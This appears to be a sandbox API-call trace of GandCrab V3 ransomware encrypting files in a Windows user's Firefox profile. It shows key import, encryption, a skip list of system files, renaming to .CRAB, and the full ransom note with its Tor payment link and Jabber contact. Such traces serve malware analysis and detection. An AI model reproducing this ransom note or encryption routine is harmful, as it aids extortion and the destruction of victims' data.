	[0123.430] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.430] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.430] CryptAcquireContextW (in: phProv=0x3146848, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3146848*=0xd6ed98) returned 1
	[0123.431] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.431] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.431] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.431] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3146960 | out: pbBuffer=0x3146960) returned 1
	[0123.431] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.431] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.432] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.432] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.432] CryptAcquireContextW (in: phProv=0x3146838, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3146838*=0xd6e6b0) returned 1
	[0123.433] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3146834 | out: phKey=0x3146834*=0x3166fa0) returned 1
	[0123.433] CryptGetKeyParam (in: hKey=0x3166fa0, dwParam=0x8, pbData=0x3146824, pdwDataLen=0x314682c, dwFlags=0x0 | out: pbData=0x3146824*=0x800, pdwDataLen=0x314682c*=0x4) returned 1
	[0123.433] CryptEncrypt (in: hKey=0x3166fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3146994*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3146994*=0x100) returned 1
	[0123.433] GetLastError () returned 0x0
	[0123.433] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0123.433] CryptAcquireContextW (in: phProv=0x3146838, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3146838*=0xd6e408) returned 1
	[0123.433] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3146834 | out: phKey=0x3146834*=0x3166ba0) returned 1
	[0123.433] CryptGetKeyParam (in: hKey=0x3166ba0, dwParam=0x8, pbData=0x3146824, pdwDataLen=0x314682c, dwFlags=0x0 | out: pbData=0x3146824*=0x800, pdwDataLen=0x314682c*=0x4) returned 1
	[0123.433] CryptEncrypt (in: hKey=0x3166ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3146998*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3146998*=0x100) returned 1
	[0123.434] GetLastError () returned 0x0
	[0123.434] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.434] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x408
	[0123.434] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.435] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.435] ReadFile (in: hFile=0x408, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x31469dc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x31469dc*=0x81229, lpOverlapped=0x0) returned 1
	[0123.542] VirtualAlloc (lpAddress=0x0, dwSize=0x81230, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0123.550] VirtualAlloc (lpAddress=0x0, dwSize=0x81230, flAllocationType=0x3000, flProtect=0x4) returned 0x33f0000
	[0123.562] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.564] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfff7edd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.564] WriteFile (in: hFile=0x408, lpBuffer=0x33f0000*, nNumberOfBytesToWrite=0x81230, lpNumberOfBytesWritten=0x31469cc, lpOverlapped=0x0 | out: lpBuffer=0x33f0000*, lpNumberOfBytesWritten=0x31469cc*=0x81230, lpOverlapped=0x0) returned 1
	[0123.565] VirtualFree (lpAddress=0x33f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.567] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.570] WriteFile (in: hFile=0x408, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31469cc, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x31469cc*=0x100, lpOverlapped=0x0) returned 1
	[0123.570] WriteFile (in: hFile=0x408, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31469cc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x31469cc*=0x100, lpOverlapped=0x0) returned 1
	[0123.570] WriteFile (in: hFile=0x408, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x31469cc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x31469cc*=0x8, lpOverlapped=0x0) returned 1
	[0123.570] CloseHandle (hObject=0x408) returned 1
	[0123.572] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.572] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.572] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.572] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.572] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.572] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.573] FindNextFileW (in: hFindFile=0x3166be0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 1
	[0123.573] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.573] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.573] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\CRAB-DECRYPT.txt"
	[0123.573] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.573] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\CRAB-DECRYPT.txt") returned 163
	[0123.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\CRAB-DECRYPT.txt") returned 163
	[0123.573] lstrlenW (lpString=".txt") returned 4
	[0123.573] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.573] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.573] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\CRAB-DECRYPT.txt") returned 163
	[0123.573] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\CRAB-DECRYPT.txt") returned 163
	[0123.573] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.573] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.573] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.573] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.573] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.574] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.574] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.574] FindNextFileW (in: hFindFile=0x3166be0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 1
	[0123.574] lstrcmpW (lpString1="journals", lpString2=".") returned 1
	[0123.574] lstrcmpW (lpString1="journals", lpString2="..") returned 1
	[0123.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="journals" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals"
	[0123.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\"
	[0123.574] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.574] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3145f80, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.574] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.574] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3145768, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.574] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.574] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.574] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.575] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\\\CRAB-DECRYPT.txt") returned 173
	[0123.575] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x408
	[0123.576] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.576] WriteFile (in: hFile=0x408, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3145f64, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3145f64*=0xcce, lpOverlapped=0x0) returned 1
	[0123.577] CloseHandle (hObject=0x408) returned 1
	[0123.577] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\") returned 156
	[0123.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*"
	[0123.577] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*", lpFindFileData=0x3146780 | out: lpFindFileData=0x3146780) returned 0x3166fe0
	[0123.577] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.577] FindNextFileW (in: hFindFile=0x3166fe0, lpFindFileData=0x3146780 | out: lpFindFileData=0x3146780) returned 1
	[0123.577] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.577] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.577] FindNextFileW (in: hFindFile=0x3166fe0, lpFindFileData=0x3146780 | out: lpFindFileData=0x3146780) returned 1
	[0123.577] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.577] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\CRAB-DECRYPT.txt"
	[0123.577] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.577] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\CRAB-DECRYPT.txt") returned 172
	[0123.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\CRAB-DECRYPT.txt") returned 172
	[0123.577] lstrlenW (lpString=".txt") returned 4
	[0123.578] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.578] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.578] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\CRAB-DECRYPT.txt") returned 172
	[0123.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\CRAB-DECRYPT.txt") returned 172
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.578] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.578] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.578] FindNextFileW (in: hFindFile=0x3166fe0, lpFindFileData=0x3146780 | out: lpFindFileData=0x3146780) returned 0
	[0123.579] FindClose (in: hFindFile=0x3166fe0 | out: hFindFile=0x3166fe0) returned 1
	[0123.579] FindNextFileW (in: hFindFile=0x3166be0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 0
	[0123.579] FindClose (in: hFindFile=0x3166be0 | out: hFindFile=0x3166be0) returned 1
	[0123.579] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.579] lstrcmpW (lpString1="818200132aebmoouht.sqlite", lpString2=".") returned 1
	[0123.579] lstrcmpW (lpString1="818200132aebmoouht.sqlite", lpString2="..") returned 1
	[0123.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"
	[0123.579] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.579] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147
	[0123.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147
	[0123.579] lstrlenW (lpString=".sqlite") returned 7
	[0123.579] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.579] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0123.579] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147
	[0123.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="desktop.ini") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="autorun.inf") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="ntuser.dat") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="iconcache.db") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="bootsect.bak") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="boot.ini") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="ntuser.dat.log") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="thumbs.db") returned -1
	[0123.580] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="CRAB-DECRYPT.txt") returned -1
	[0123.580] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.580] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB") returned 152
	[0123.580] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite")) returned 0x20
	[0123.580] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite", dwFileAttributes=0x20) returned 1
	[0123.581] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.crab")) returned 1
